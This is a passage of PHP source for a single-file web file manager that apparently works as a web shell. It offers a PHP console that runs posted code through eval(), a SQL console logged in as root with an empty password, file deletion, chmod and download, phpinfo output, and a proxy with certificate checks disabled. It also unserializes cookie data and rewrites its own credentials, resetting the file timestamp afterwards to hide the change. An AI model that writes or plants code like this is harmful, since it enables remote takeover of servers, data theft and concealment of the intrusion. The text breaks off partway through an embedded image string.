	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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